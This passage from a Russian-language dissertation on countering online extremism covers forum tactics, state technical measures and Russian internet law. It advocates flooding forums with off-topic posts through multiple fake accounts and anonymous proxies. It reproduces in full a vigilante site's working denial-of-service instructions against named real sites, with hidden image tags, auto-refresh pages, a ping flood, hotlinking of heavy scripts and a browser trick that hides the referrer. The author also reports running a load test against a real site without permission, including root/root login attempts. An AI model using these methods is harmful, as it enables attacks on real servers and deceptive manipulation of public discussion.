Далее же приведенный ответ шейха Ясира Бурхами, не чем не подтвержденный вызывает негодование со стороны участников диспута. После же ответа шейха Ибн Джибрина, с записью его голоса следует всего один пост: «Пусть Аллах воздаст благом в обоих мирах всем за эту фатву!». А далее, абсолютно грамотное решение со стороны администратора сайта о закрытии треда, то есть никто больше не может оставить свое сообщение. Но весь тред доступен для чтения в любое время.

Этот пример треда должен стать классическим примером для любого администратора подобных форумов. Но создание и управление подобными тредами возможно лишь на подконтрольных сайтах. На форумах же, где администраторами являются представители исламистов подобные информационные победы практически не возможны. Не нужные, грамотные посты, как правило, удаляются а их авторы блокируются. В данной ситуации становится довольно целесообразным применение такого метода как

Флуд . Четкого определения данного термина нет. Приведенное в ссылке определение, на наш взгляд, не является полным, и требует добавления к нему не только однотипно информации, но и информации, не относящейся к теме и по возможности довольно объемной. Информационный мусор позволит увести посетителей данного треда в сторону или сделать изучение треда или участие в нем мало интересным. Но лицо занимающееся флудом должно быть готово, что в конце концов оно будет «забанено», поэтому стоит

запостись несколькими никами, да и не помешает пользоваться анонимными прокси серверами. Как один из лучших вариантов – это устроить перепалку, не относящуюся к теме между двумя несуществующими людьми. 2.2. Технические средства противодействия распространению идей экстремизма и терроризма в русскоязычном сегменте сети Интернет Структура технических средств, которые государство может применить в вопросе противодействия распространению идей экстремизма и терроризма, напрямую зависит от законодательства

страны. Основным ограничителем в сети Интернет для конкретного пользователя является Прокси-сервер провайдера. На сегодняшний момент основанием для введения ограничений или прекращению доступа к тому или иному Интернет-ресурсу является внесение данного ресурса в «Федеральный список экстремистских материалов» (список с последними обновлениями представлен на официальном сайте Министерства Юстиции РФ), либо если ресурс является официальным сайтом организации, в отношении которых

судом принято вступившее в законную силу решение о ликвидации или запрете деятельности по основаниям, предусмотренным Федеральным законом "О противодействии экстремистской деятельности". В этом случае Министерством юстиции всем интернет-провайдерам рассылаются соответствующие информационные письма, а так же организации предоставляющей Интернет-хостинг . Таким образом, если сервер, на котором находится ресурс, размещен на территории

РФ, то сайт удаляется физически, либо в большинстве случаев провайдеры блокируют запросы к данному ресурсу. На сегодняшний момент в федеральном списке находятся более 130 материалов и интернет-ресурсов, в отношении которых вынесен запрет, что практически составляет 15% от общего количества материалов признанных экстремистскими, причем в период с января по август 2011 года было внесено 27 материалов распространенных в сети Интернет. 16 из 27 были внесены Советским районным судом г.

Махачкала в отношении материалов, размещенных на сайте Sadililahi.com. Нет ни одного решения, где бы фигурировал, например, youtube.com, да и нет других популярных сервисов, на которых присутствуют экстремистские материалы. Итак, в настоящее время в случае признания материалов или сайтов экстремистскими, к ним ограничивается или закрывается доступ. Однако процедура принятия решения о признании материалов или сайтов экстремистскими

через суды не способствует оперативности в принятии решения, а, следовательно, не является эффективной мерой. До момента принятия решения данные материалы могут быть растиражированы на десятки и сотни сайтов. Ключевой проблемой идентификации интернет-ресурсов экстремистской и террористической направленности является определение способов выявления сайтов с противоправным контентом. На наш взгляд, должны быть созданы автоматизированные системы выявления

Интернет ресурсов с противоправным контентом. Эти системы должны проверять Интернет-ресурсы на наличие экстремистских материалов, лозунгов. Технически это реализуемо, технология аналогична алгоритмам идентификации оригинальности контрольных, дипломных, диссертационных работ с помощью использования информационных систем. Но, что бы такая система начала эффективно функционировать, она должна содержать огромную базу материалов,

лозунгов, высказывание, которые являются экстремистскими. По словам заместителя министра связи и массовых коммуникаций России О.Духовницкого, специалисты Роскомнадзора уже приступили к разработке автоматизированной системы поиска в Интернете материалов экстремистского характера , которые публикуют СМИ. Очень важным аспектом в регулирования сети Интернет является поисковые системы

Rambler, Yandex, Google и другие, поскольку именно от функциональности и эффективности данных ресурсов зависит успешность посещения глобальной сети конечными пользователями. Для тех пользователей, которые работают в Интернет уже не один год заметно, что в последние годы все поисковые системы довольно значительно изменили свой алгоритм вывода информации на запрос. При этом можно утверждать, что определенные действия в вопросе регулирования работы поисковых систем

в русскоязычном сегменте ведутся. На каком уровне происходит данное регулирование, для нас неизвестно. Приведем результаты эксперимента, проведенного автором исследования в апреле и августе 2011 года (таблица 11). Таблица 11. Результаты запроса «бомба» к русскоязычной поисковой системе Google и запроса «bomb» к англоязычной поисковой системе Google Количество результатов запроса Апрель 2011 Количество результатов запроса

Август 2011 Русскоязычный сервер Google www.google.u 131 000 000 17 900 000 Англоязычный сервер Google www.google.com/en 56 000 000 322 000 000 Таким образом, из результатов эксперимента видно, что в августе 2011 года русскоязычная поисковая система выдала результатов в 7 раз меньше чем апреле 2011 года, англоязычная система, напротив, в августе выдала результатов почти в 6 раз больше чем в апреле. Этот эксперимент, конечно ничтожно мал, чтобы делать

какие-то глобальные выводы. Однако то, что алгоритмы поисковых систем преобразуются, становится очевидным. Ключевым направлением в формировании комплекса мероприятий противодействия распространению идей экстремизма и терроризма являются технологии, связанные с дестабилизацией работы Интернет-ресурсов. Термины «хакер», «хакерская атака» являются довольно распространенными, они ассоциируются с незаконным проникновением на сервера и с похищением информации или денежных средств со счетов.

Однако эти термины характеризуют явление в целом, а не конкретные его проявления. В контексте достижения цели данного исследования интерес представляет исследование особенностей DoS-атак и DDoS-атак. Все Интернет-ресурсы функционируют на серверах, подключенных к сети Интернет. Каждый из таких серверов имеет свой предел надежности, который зависит от многих факторов, таких как: технические характеристики сервера, операционная система, используемая на сервере, антивирусное

обеспечение, наличие программ защиты от DoS-атак, пропускная способность канала и многие другие. Что касается технических характеристик, то это объем оперативной памяти, производительность процессора (процессоров). Важным фактором является операционная система (Uniх, Linux, FreeBSD, Windows и т.д.), в зависимости от специфики которой выбираются и методы атак. Отсутствие антивирусного обеспечения, использование слабого

ПО, отсутствие обновлений, все это так же способствует успеху атаки. Слабая пропускная способность канала, при большом количестве обращении к серверу сделает работу с сервером практически невозможной. Очень показательным в этом плане является сайт «Сообщество по борьбе с экстремистскими сайтами» . Инструкция, выставленная на данном сайте, представлена в таблице 12. Таблица 12. Инструкция, представленная на сайте «Сообщество по борьбе с экстремистскими сайтами»

Как уничтожить сайты экстремистов, не имея специального оборудования для атак Многие жители различных стран мира устали от лжи и дезинформации, которая распространяется так называемыми "СМИ" несуществующей республики "Ичкерия". Теперь помешать нормальной работе этих "СМИ" и даже вывести их из строя может каждый. Ниже приведены всевозможные варианты для атак на экстремистские сайты.

Если у Вас есть свои идеи по этому поводу, пишите по почте, мы их обязательно опубликуем. В данный период времени весьма актуально направить нижеуказанные коды против сайта http://chechenpress.org или shamilonline.org т.к. сайт "Кавказ-Центр" с помощью данных кодов атаковать сложно. Способ №1 Многие хотят поучаствовать в акции, но не имеют своих веб-ресурсов. Вы можете внести свой посильный вклад очень простым способом.

Сделайте сами и друзьям расскажите. Открываете любой текстовый редактор, вставляете в него следующий код: <img src=http://www.chechenpress.org/baners/l _ban.gif style=display:none> сохраняете его на диске как blank.html Идете в свойства браузера (сервис>свойства) и ставите этот файл в качестве стартовой страницы: file:///С:/blank.html Теперь при каждом нажатии на кнопку "домой" вы будете дергать вражеский сервер.

Представьте, сколько раз за день вы открываете браузер или жмете эту кнопку если 10 тысяч человек проделают это на своих компьютерах, то сервер будет иметь сотни тысяч пустых запросов ежедневно. Отсечь такую атаку невозможно. Самые отчаянные могут поставить такой код: <script> function go(){location.href="blank.html";} </script> <body onload=go()> <img src=http://www.chechenpress.org/baners/l _ban.gif style=display:none> Один компьютер за минуту сгенерит сотни запросов.

Совет взят с форума "p4p" Способ №2 Копируем отсюда в блокнот следущий текст: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <meta http-equiv="Refresh" content="1"> <meta http-equiv="Cache-Control" content="no-cache, must-revalidate"> <meta http-equiv="pragma" content="no-cache"> <html> <frameset rows="1"> <frame src="

http://www.chechenpress.org/ba ners/l_ban.gif" hight="10%" frameborder="1"> </frameset> </html> Сохраняем его на диске под любым именем, например, kavkaz.txt, затем в проводнике переименовываем в kavkaz.html и открываем <meta http-equiv="Refresh" content="1"> - Refresh обязывает браузер обновлять содержимое через content="1" секунд (в данном случае через 1 сек). <meta http-equiv="

Cache-Control" content="no-cache, must-revalidate"> - говорит браузеру, чтобы содержимое считывалось, а не вытаскивалось из кеша. Такой скрипт дает возможность, не прикладывая никаких усилий, создавать искуственную нагрузку на сайт экстремистов, в данном случае, на "Чеченпресс". Способ №3 Для Windows 2000/XP кнопка Пуск -> Программы -> Командная строка. В черном окне вбить команду: ping chechenpress.org -t -

l 5000 Нажать Enter и сбросить окно вниз. Трафик сайт получит. Если вы платите за трафик, то и вы тоже. Правда, в некоторых случаях подобная атака блокируется еще на уровне провайдера, но не всегда. Способ №4 (если у Вас есть свой сайт) Объясним смысл хотлинка и способ его проведения через протокол about: Хотлинк - это загрузка како-го либо файла с сервера жертвы на атакующем сервере

Для чего нужен хотлинк? Для того, что бы создать нагрузку либо на канал атакуемого сервера либо на сам сервер. Есть 2 способа хотлинка: a) Можно разместить на своих сайтах код, загружающий какую-то увесистую картинку с сайта жертвы: <img src=http://site.com/image.gif>. Что бы не показывать эту картинку вашим серферам, проставим размеры в 1 пиксель: <img src=http://site.com/image.gif width=1 height=1> Для солидности, можем запретить показ картинки на вашей странице

с помощью стилей: <img src=http://site.com/image.gif width=1 height=1 style=display:none> При таком подходе каждый срефер, зашедший на ваш сайт, загрузит картинку с атакуемого сервера, но не увидит ее. Что имеем? Имеем загрузку канала атакуемого сервера. Траффик стоит денег, соответсвенно у жертвы растут счета за хостинг. Если у жертвы канал не толстый, то при большом количестве запросов произойдет пробка и к серверу пробиться

станет сложно. Но это не наш метод. Переходим к способу "б" б) Запрашивать нужно не картинки а "тяжелые" скрипты. Скрипты, требующие обращения к базам данных или больших вычислительных мощностей. Обычно на сайтах типа КЦ скрипты не оптимизированны под большие нагрузки. Большое количество запросов к таким скриптам загрузит процессор атакуемого сревера, забьет логами жесткий

диск и т.д. В результате сервер просто умрет, хотя канал до сервера будет загружен не очень сильно. Пример: <img src=http://site.com/script.php width=1 height=1 style=display:none> В таком варианте атакуемый сервер получает запрос на выполнение срипта и выполняет его, но так, как запрашиваем мы через тег <img src>, а возвращаемый результат не является картинкой, то на нашем сайте будет показана иконка "битой картинки".

Загнав эту иконку в 1х1 пиксель и прикрыв стилями (style=display:none) мы избавим наших серферов от просмотра "битой" графики. Они просто ничего не заметят. Для увеличения нагрузки на сервер можно хотлинковать сразу 5-10-20 скриптов. Просто увеличиваем количество "картинок": <img src=http://site.com/script1.php width=1 height=1 style=display:none> <img src=http://site.com/script2.php width=1 height=1 style=display:

none> <img src=http://site.com/script3.php width=1 height=1 style=display:none> Лучше всего ставить эти код вниз своих страниц, что бы серферу не пришлось ждать загрузки вашей информации. Он сперва получит то, за чем пришел и попутно дернет жертву. Подход всем хорош, за исключением того, что эти запросы могут быть обращены против атакующего. При получении запроса к картинке или скрипту, сервер может проверить поле

HTTP_REFERRER и если в этом указано, что запрос пришел с атакующего сайта, средиректить его обратно, на какой-либо из ваших собственных скриптов. В итоге вы будете грузить сами себя. Что бы этого не произошло мы несколько усложним конструкцию. В IE имеется протокол "about:". Пример - ваша стартовая страница about:blank. В версиях IE до XPSP2 и некоторых патчей для SP1 работает следущая фича:

При добавлении любого символа после двоеточия в about:, этот символ выводится на странице. например about:1 - выведет на странице единицу. about:<script>alert()</script&g t; - выведет в теле страницы код скрипта и исполнит его. about:<img src=http://site.com/image.gif> - выведет на странице картинку. about:<img src=http://site.com/script1.php width=1 height=1 style=display:none> - дернет скрипт на чужом сервере, создав нагрузку. Самое главное: поле

HTTP_REFERRER при этом останется пустым, т.к. выполняется это всё на локальной машине. Соответсвенно вернуть вам ответку атакуемый не сможет. Он будет видеть запросы, но источник атаки он не обнаружит. И так доводим код до ума и вызываем протокол about: в ифрейме. <iframe src="about:<img src=http://www.chechenpress.org/baners/l _ban.gif>" width=0 height=0>.

Продублировав такой код 10 раз и изменив имена вызываемых скриптов вы заставите каждого посетителя вашего сайта 10 раз дернуть вражеский сервер. Хотлинковать лучше всего тяжелые скрипты, например топики на форумах, поисковые запросы, или картинки. http://www.chechenpress.org/baners/l_ban .gif kavkazchat.com Просто скопируйте URL топиков в буфер обмена и замените нужные фрагменты кода. P.S. Этот протокол пропатчен M$ примерно год назад.

Эти конструкции будут работать процентах на 40-50 машин, на тех, где не стоит SP2. Остальные, пропатченные пользователи просто ничего не заметят. Существуют в Инете и более свежие предложения. Кроме того, существуют специальные программы, которые могут сильно усложнить работу сайта. Если попытаться искать в поисковых системах программы для хакерских атак, то это может потребовать довольно больших временных затрат, однако без проблем можно найти десятки

программ для стресс-тестирования сайтов. Именно эти программы и являются одним из основных инструментов в DoS-атаке. Примером такой программы может служить программа «Webserver stress tool». На рисунках 10-13приведены три скриншота данной программы. Рисунок 10. Скриншот программы «Webserver stress tool», выполнено 8% запросов Рисунок 11. Скриншот программы «Webserver stress tool», выполнено 19% запросов

Рисунок 12. Скриншот отчета о работе «Webserver stress tool» на 19% выполнение программы прервано Рисунок 13. Скриншот отчета о работе «Webserver stress tool». На 19% выполнение программы прервано В проведенном в диссертационном исследовании эксперименте по использованию программы «Webserver stress tool» были следующие этапы: 1. Скачивание из сети Интернет дистрибутива программы (срок бесплатного действия 20 дней, стоимость 190$).

2. Инсталляция программы на компьютер. 3. Настройка для тестирования сайта: &#61485; выбор сайта для тестирования (UmmaNews.com); &#61485; определение количества виртуальных пользователей, которые будут «заходить» на сайт (10 виртуальных пользователей); &#61485; выбор сетевых операций (действий); 4. запуск теста; 5. остановка выполнения теста, просмотр результатов. В данном случае тест осуществлялся в течение 6 минут, скорость соединения с сайтом была в среднем 250

kbit/s, было использовано около 8 Mb бесполезного для сайта трафика. Десять виртуальных пользователей около 500 раз попытались войти на сервер под логином root, с паролем root. То есть, происходило снижение на сайт около полутора Mb трафика каждую минуту, при этом загружая сервер различными запросами. Не для кого не секрет, что в ряде стран уже официально существуют так называемые киберподразделения.

2 июня 2011 года в интернет-издании «Guardian» была опубликована статья «British intelligence used cupcake recipes to ruin al-Qaida website» . В этой статье рассказывалось о том, что офицеры Британской разведывательной службы смогли успешно саботировать работу англоязычного интернет-журнала Аль-Кайды. Им удалось изменить содержимое PDF-файла, который содержал один из номеров журнала. В частности инструкция по созданию бомбы была заменена на рецепт выпечки.

Примечательно, что США отказалось участвовать в акции, однако прокомментировало в лице генерала А.Кейтс (Keith Alexander), который является командующим киберподразделения США, как полностью легитимную акцию. Таким образом, можно констатировать, что кибер-атаки (хакерские атаки) стали практически узаконенным инструментом в руках спецслужб многих стран. Однако, в вопросе противодействия экстремизму и терроризму, может появиться другая проблема, связанная

с нехваткой нужной информации, отсутствием у людей доступа к сети Интернет в том или ином регионе или стране. Так, например, получить достоверную информацию о ситуации в Афганистане, оказавшемся под властью талибов и превратившимся в международный террористический центр, невозможно. В данном случае особый интерес представляют публикации в Lenta.ru (Интернет издание Rambler Media Group), «Демократия в тени» и «США создадут "теневой"

интернет в помощь иностранным диссидентам» . Первоисточником для этих статей послужила статья в интернет издании Нью-Йорк Таймс (The New York Times) – «U.S. Underwrites Internet Detour Around Censors» . В данной статье рассматриваются два основных варианта: &#61485; Создание в данных регионах независимой сотовой связи, которую не смогли бы отключить; &#61485; создание мобильного устройства, которое можно будет переправить через границу какого-либо

государства и быстро настроить там беспроводную связь, способную, в частности, обеспечить попадание во всемирную Сеть. Принцип действия представлен на рисунке 14. Рисунок 14. Схема создания «теневого» Интернет Основной смысл указанной на рисунке 14 схемы в том, что в обычной ситуации большинство пользователей работают через телефонные линии или ВОЛС местных провайдеров, а в случае блокирования доступа они могут воспользоваться беспроводным вариантом,

имеющим независимые точки подключения к сети Интернет. Еще раз подчеркнем, что на сегодняшний момент это не является актуальным для ситуации в нашей стране, однако изучить данный вопрос необходимо, как с точки зрения распространения данной технологии, так возможно и сточки зрения препятствия этому явлению. Тем более, хорошо известно, что массовые акции протеста в подавляющем большинстве проходят в мегаполисах

или больших городах, то есть данные «теневые» сети не обязательно распространять на весь регион. Тем более что создание подобных точек подключения к сети Интернет, минуя официальных провайдеров вполне возможно. На территории страны действуют такие крупные иностранные компании спутниковой связи, как Иридиум (в составе орбитальной группировки 66 спутников,

100% покрытие земного шара), INMARSAT (Инмарсат) (11 спутников в орбитальной группировке). Продается оборудование для двухсторонней спутниковой связи. А создание открытой WI-FI в городской черте вообще не является проблемой. Именно по принципу использования двухстороннего спутникового интернета функционируют многие подпольные Интернет-кафе в Китае. Единственной проблемой в распространении данного явления является большая стоимость

оборудования (от 2500$) и высокая стоимость трафика, отсутствие безлимитных тарифов. Государство обладает довольно большим арсеналом средств, которые можно использовать в вопросах противодействия распространению идей экстремизма и терроризма в сети Интернет. Причем, простое закрытие доступа к сайту с определенным контентом не всегда является эффективным способом. Лишь системное использование различных методов может дать положительный результат.

3. НАПРАВЛЕНИЯ СОВЕРШЕНСТВОВАНИЯ ПРАВОВОГО РЕГУЛИРОВАНИЯ ДОСТУПА К СЕТИ ИНТЕРНЕТ НА ТЕРРИТОРИИ РФ 3.1. Обзор существующего законодательства, регулирующего режим пользования информационными ресурсами в сети Интернет Вопрос о правовом статусе Интернет один из наиболее обсуждаемых вопросов. Существуют, абсолютно диаметральные мнения: &#61485;

Интернет – это саморегулируемая система; &#61485; Интернет – должен быть абсолютно контролируемым. Естественно, что истина лежит между этими двумя крайностями. Одно можно сказать однозначно, отдельные составляющие системы Интернет будут подконтрольны. Однако в течение последних десяти лет осуществляется поэтапное и постепенное вовлечение различных аспектов информационной, социальной и экономической сфер в нормативно-правовое

поле отдельных стран. В основном это касается вопросов регулирования авторского права и сопровождения хозяйственно-экономических процессов. Решение данного вопроса является приоритетным для большинства экономически развитых стран. Так, в Евросоюзе только в 2011 году было принято несколько десятков новых правил, регламентирующих правила работы Интернет-сайтов и Интернет провайдеров. В Беларуси принят, неоднозначно оцененный в мире,

Указ «О мерах по совершенствованию использования национального сегмента сети Интернет». Регулирование деятельности в сети Интернет в России имеет фрагментарный характер – в последнее время принимаются отдельные правовые акты, направленные на сопровождение различных процессов (хозяйственных сделок, развитие электронного правительства и т.д.), однако отсутствует единое законодательство, регулирующее развитие общего информационного пространства

русскоязычного сегмента сети. Главным законом России является Конституция Российской Федерации , проанализировав статьи которой, можно определить, в каком направлении следует двигаться при определении правового статуса сети Интернет. Так, пункт 5 13 статьи Конституции РФ фактически дает основания, по которым возможно введение ограничений, в том числе и в сети Интернет. А именно: «Запрещается создание и деятельность общественных

объединений, цели или действия которых направлены на насильственное изменение основ конституционного строя и нарушение целостности Российской Федерации, подрыв безопасности государства, создание вооруженных формирований, разжигание социальной, расовой, национальной и религиозной розни». Следующей, важной при рассмотрении данной проблемы, статьей Конституции является статья 29, пункт 5: «Гарантируется свобода массовой информации.

Цензура запрещается». По нашему мнению, пункт 5 данной статьи отчетливо показывает, что, в случае приравнивания сети Интернет к СМИ, могут возникнуть определенные сложности при разработке регулирующего законодательства. Также, важной является статья 56, пункт 1, в котором говориться: «В условиях чрезвычайного положения для обеспечения безопасности граждан и защиты конституционного строя в соответствии с федеральным конституционным законом могут устанавливаться отдельные ограничения прав и свобод с указанием пределов и срока их действия».

При определенных событиях, это может оказаться довольно важным. Естественно, что все статьи Конституции, в том числе затрагивающие права и свободы граждан, обязательны для исполнения. Но рассмотренные выше три статьи являются отправными в исследуемом вопросе. Приступая непосредственно к рассмотрению российского законодательства, применяемого к различным аспектам функционирования сети Интернет на территории РФ, следует отметить, что четкого и однозначного определения

сети Интернет в российском нормативно-правовом поле нет. Но, поскольку по своей природе сеть Интернет является фактически сетью передачи данных (ПД) и фактически используются телекоммуникационные сети, то особый интерес представляет закон «О связи» №126-ФЗ от 07.07.2003 г. В статье 2 «Основные понятия» данного закона вводятся следующие понятия: &#61485; сеть связи - технологическая система, включающая в себя средства и линии связи и предназначенная для электросвязи

или почтовой связи; &#61485; средства связи - технические и программные средства, используемые для формирования, приема, обработки, хранения, передачи, доставки сообщений электросвязи или почтовых отправлений, а также иные технические и программные средства, используемые при оказании услуг связи или обеспечении функционирования сетей связи; &#61485; трафик - нагрузка, создаваемая потоком вызовов, сообщений и сигналов, поступающих на средства связи; &#61485; управление сетью связи - совокупность организационно-

технических мероприятий, направленных на обеспечение функционирования сети связи, в том числе регулирование трафика; &#61485; услуга связи - деятельность по приему, обработке, хранению, передаче, доставке сообщений электросвязи или почтовых отправлений; &#61485; электросвязь - любые излучение, передача или прием знаков, сигналов, голосовой информации, письменного текста, изображений, звуков или сообщений любого рода по радиосистеме, проводной, оптической и другим электромагнитным системам.

Фактически, данные понятия показывают, что действия данного закона распространяется и на сеть Интернет, поскольку сеть Интернет есть часть электросвязи. А именно - защита сетей связи и сооружений связи (статья 7): 1. Сети связи и сооружения связи находятся под защитой государства. 2. Операторы связи и застройщики при строительстве и реконструкции зданий, строений, сооружений (в

том числе сооружений связи), а также при построении сетей связи должны учитывать необходимость защиты средств связи и сооружений связи от несанкционированного доступа к ним. 3. Операторы связи при эксплуатации сетей связи и сооружений связи обязаны обеспечивать защиту средств связи и сооружений связи от несанкционированного доступа к ним. К сети Интернет применимо государственное регулирование (статья 21).

Интернет-провайдеры и хостинговые компании находятся под федеральным государственным надзором (статья 27). Соответственно к этим компаниям применимы плановые и внеплановые проверки. Так же закон дает такие возможности контроля, как лицензирование (глава 6). Очень важной статьей так же является статья 64 данного ФЗ, об обязанности операторов связи и ограничение прав пользователей услугами связи при проведении оперативно-

розыскных мероприятий, мероприятий по обеспечению безопасности Российской Федерации и осуществлении следственных действий. Заканчивая рассмотрение данного ФЗ, необходимо акцентировать внимание на 44 статье данного закона. В пункте 3 данной статьи сказано: «В случае нарушения пользователем услугами связи требований, установленных настоящим Федеральным законом, правилами оказания услуг связи или договором об оказании услуг связи,

в том числе нарушения сроков оплаты оказанных ему услуг связи, определенных условиями договора об оказании услуг связи, оператор связи имеет право приостановить оказание услуг связи до устранения нарушения, за исключением случаев, установленных настоящим Федеральным законом». Подобные ограничения в принципе применимы и к пользователям и уже применяются в ряде европейских стран. Следующим законом является 2124-1-ФЗ от 27.12.1991 «О средствах массовой информации» (закон «О

СМИ»). И хотя статья 2 данного закона дает четкое определение понятия и массовой информации и СМИ , в соответствии с которыми сеть Интернет в принципе не относится к СМИ, данный закон так же содержит статью 24, в которой сказано: «Правила, установленные настоящим Законом для радио- и телепрограмм, применяются в отношении периодического распространения массовой информации через системы телетекста, видеотекста и информационно-телекоммуникационные сети, если законодательством

Российской Федерации не установлено иное». Это делает возможным применение данного закона в отношении сайтов сети Интернет, позиционирующих себя в качестве информационных или информационно-аналитических порталов, или в качестве независимых информационных агентств. Существует несколько разъясняющих документов по данному вопросу, первым из которых является Письмо МПТР РФ от 18 ноября 2002 г. N 18/14-16380/18-11218.

Информационный ресурс Интернета может считаться средством массовой информации, если отвечает установленным Законом Российской Федерации "О средствах массовой информации требованиям. К информационным ресурсам Интернет, являющимся средствами информации, применимы все нормы действующего законодательства о средствах массовой информации. По информации в письме в 2002 году было официально зарегистрировано 914 Интернет СМИ, на сегодняшний момент, (данные за август 2011 года) из почти 90 тысяч

зарегистрированных в реестре СМИ числится лишь 477 интернет ресурсов или чуть больше 0,5%. Это объясняется тем, что не один из нормативно-правовых актов РФ не обязывает Интернет ресурсы регистрироваться в качестве СМИ. То есть, является, абсолютно добровольным решением. Следующим важным законом регулирующим пользование сетью

Интернет на территории РФ является - Федеральный закон от 27 июля 2006 г. N 149-ФЗ «Об информации, информационных технологиях и о защите информации». Статья 2 данного ФЗ вводит основные понятия, дополняющие вводимые в законе «О связи»: &#61485; информационно-телекоммуникационная сеть - технологическая система, предназначенная для передачи по линиям связи информации, доступ к которой осуществляется с использованием средств вычислительной техники; &

#61485; информационная система - совокупность содержащейся в базах данных информации и обеспечивающих ее обработку информационных технологий и технических средств &#61485; обладатель информации - лицо, самостоятельно создавшее информацию либо получившее на основании закона или договора право разрешать или ограничивать доступ к информации, определяемой по каким-либо признакам; &#61485; доступ к информации - возможность получения информации и ее использования; &#61485; предоставление информации - действия,

направленные на получение информации определенным кругом лиц или передачу информации определенному кругу лиц; &#61485; распространение информации - действия, направленные на получение информации неопределенным кругом лиц или передачу информации неопределенному кругу лиц; &#61485; электронное сообщение - информация, переданная или полученная пользователем информационно-телекоммуникационной сети. Также в данном законе, в статье 9, вводятся основания ограничения доступа к информации: «Ограничение

доступа к информации устанавливается федеральными законами в целях защиты основ конституционного строя, нравственности, здоровья, прав и законных интересов других лиц, обеспечения обороны страны и безопасности государства». В статье 10 рассматриваются такие важные понятия, как «распространение информации» или «предоставление информации». В частности п. 6. данной статьи гласит: «Запрещается распространение информации, которая направлена на пропаганду войны, разжигание национальной, расовой или религиозной ненависти

и вражды, а также иной информации, за распространение которой предусмотрена уголовная или административная ответственность». Следует также отметить наличие статьи 12 - «Государственное регулирование в сфере применения информационных технологий». Пункт 1 данной статьи гласит: « Государственное регулирование в сфере применения информационных технологий предусматривает: 1) регулирование отношений, связанных с поиском, получением, передачей, производством и распространением

информации с применением информационных технологий (информатизации), на основании принципов, установленных настоящим Федеральным законом;…». На наш взгляд, эта статья напрямую затрагивает деятельность поисковых систем. Интересным и важным так же является пункт 6 статьи 13 («Информационные системы»): «Порядок создания и эксплуатации информационных систем, не являющихся государственными информационными системами или муниципальными информационными системами, определяется операторами таких информационных систем в соответствии с требованиями,

установленными настоящим Федеральным законом или другими федеральными законами». Исходя из определения «информационной системы», данного в статье 2 данного закона можно утверждать, что действие данного закона распространяется на социальные сети («Одноклассники», «В контакте» и т.д.), сайты знакомств. И наконец, в статье 15 данного закона рассмотрены вопросы использования информационно-телекоммуникационных сетей. В контексте данной работы наибольший интерес представляют пункт 1 и 5 данной

статьи. В пункте 1 фактически указывается применимость закона «О связи» в отношении информационно-телекоммуникационных сетей, а пункт 5 является логическим дополнением пункта 6 статьи 10, рассмотренного ранее, и говорит о возможности введения ограничений на процесс передачи информации в информационно-телекоммуникационных сетях. В Федеральном законе № 114-ФЗ от 25 июля 2002 г. «О противодействии экстремистской деятельности» в статье 12 «О недопущении использования сетей связи общего пользования для осуществления экстремистской

деятельности» сказано: запрещается использование сетей связи общего пользования для осуществления экстремистской деятельности. К данным сетям, безусловно, в соответствии с законом «О связи», следует отнести сеть Интернет. Что касается статей, затрагивающих Интернет в различных кодексах, то их не так много, во-первых, в АПК РФ в статье 75 признается возможность использовать документы, полученные с использованием информационно-телекоммуникационной сети "Интернет", однако суд вправе при этом потребовать оригиналы данных

документов. В Уголовном Кодексе в ряде статей затрагивает конкретные действия в сети Интернет, за которые предусмотрена уголовная ответственность: &#61485; статья 171.2. Незаконные организации и проведение азартных игр; &#61485; статья 185.3. Манипулирование рынком. Глава 28 УК РФ «Преступление в сфере компьютерной информации» содержит три статьи: Статья 272. Неправомерный доступ к компьютерной информации;

Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ; Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети. 272 и 274 статьи относятся к вопросу защиты данных, косвенно к этому вопросу относится и 273 статья. Появление этой главы в УК РФ в первую очередь обусловлено необходимостью борьбы с таким явлением, как «Хакеры» и направлена она, в первую очередь, на информацию, охраняемую законом.

Кодекс РФ об административных правонарушениях сконцентрировал свое внимания на действия в сети Интернет административных органов: &#61485; статья 7.30. Нарушение порядка размещения заказа на поставки товаров, выполнение работ, оказание услуг для нужд заказчиков &#61485; статья 7.31. Предоставление, опубликование или размещение недостоверной информации о размещении заказов на поставки товаров, выполнение работ, оказание услуг для нужд заказчиков, а также направление

недостоверных сведений, внесение их в реестр контрактов, заключенных по итогам размещения заказов, реестр недобросовестных поставщиков; &#61485; статья 13.27. Нарушение требований к организации доступа к информации о деятельности государственных органов и органов местного самоуправления и ее размещению в сети "Интернет". Также в КоАП содержится статья 14.1.1.

Незаконная организация и проведение азартных игр. К сожалению, многие рациональные предложения, например: дополнить часть 2 статьи 205 УК РФ ("Терроризм") следующим квалифицирующим признаком: «г) с несанкционированным доступом в компьютерные системы или информационно-коммуникационные сети, осуществляющие автоматизированное управление опасными технологическими производствами и предприятиями жизнеобеспечения с целью нарушения их функционирования и создания аварийной ситуации и угрозы техногенной катастрофы,

остаются без внимания. 3.2. Мировой опыт в сфере противодействия распространения идей экстремизма и терроризма в сети Интернет В настоящее время ни в одной из стран мира нет кодифицированного законодательства, регулирующего правоотношения в сети Интернет. Существующие нормативно-правовые акты регулируют частные аспекты функционирования Сети. К ним относятся, прежде всего, вопросы подключения к ней через поставщиков, предоставления соответствующих линий связи и отдельных услуг и т.д. .

Переходя непосредственно к рассмотрению опыта иностранных государств в данном вопросе, необходимо привести схему-карту «Ограничения свободы в Интернет», опубликованную в электронной версии «The New York Times» (рисунок 15). Из карты видно, что данные разбиты на пять категорий: 1. Проникающий (глубокий, возможно абсолютный) контроль; 2. Прочный (но не абсолютный) контроль; 3. Выборочный контроль;

4. Нет ясности; 5. Нет данных. Если принять данные карты за основу, то Россия отнесена к выборочно контролирующим, то есть у составителей карты были (?) факты, подтверждающие контроль Интернета со стороны государства. Рисунок 15. Карта ограничения свободы в Интернет Если сопоставить данную карту с политической картой мира, то создатели карты отнесли к полностью контролирующим сеть Интернет следующие страны:

Китай, Иран, Бирму, Вьетнам, Туркмению, Узбекистан, Молдова (однако для Молдовы характерно только наличие одного провайдера на территории государства). Наиболее ярким представителем данной группы является Китай. То, что Интернет в Китае контролируется государством ни для кого не секрет, не секрет так же, что степень контроля увеличивается с каждым годом, однако не для всего

Китая, а лишь для его материковой части. В первую очередь, остановимся на техническом аспекте ограничения Интернет в Китае, а именно - проекте «Золотой щит» (The Golden Shield Project) или «Великий Китайский Файрвол». Проект представляет собой систему серверов между провайдерами и международными сетями передачи информации, которая фильтрует информацию, по заранее заданному алгоритму и пресекает доступ к запрещенным

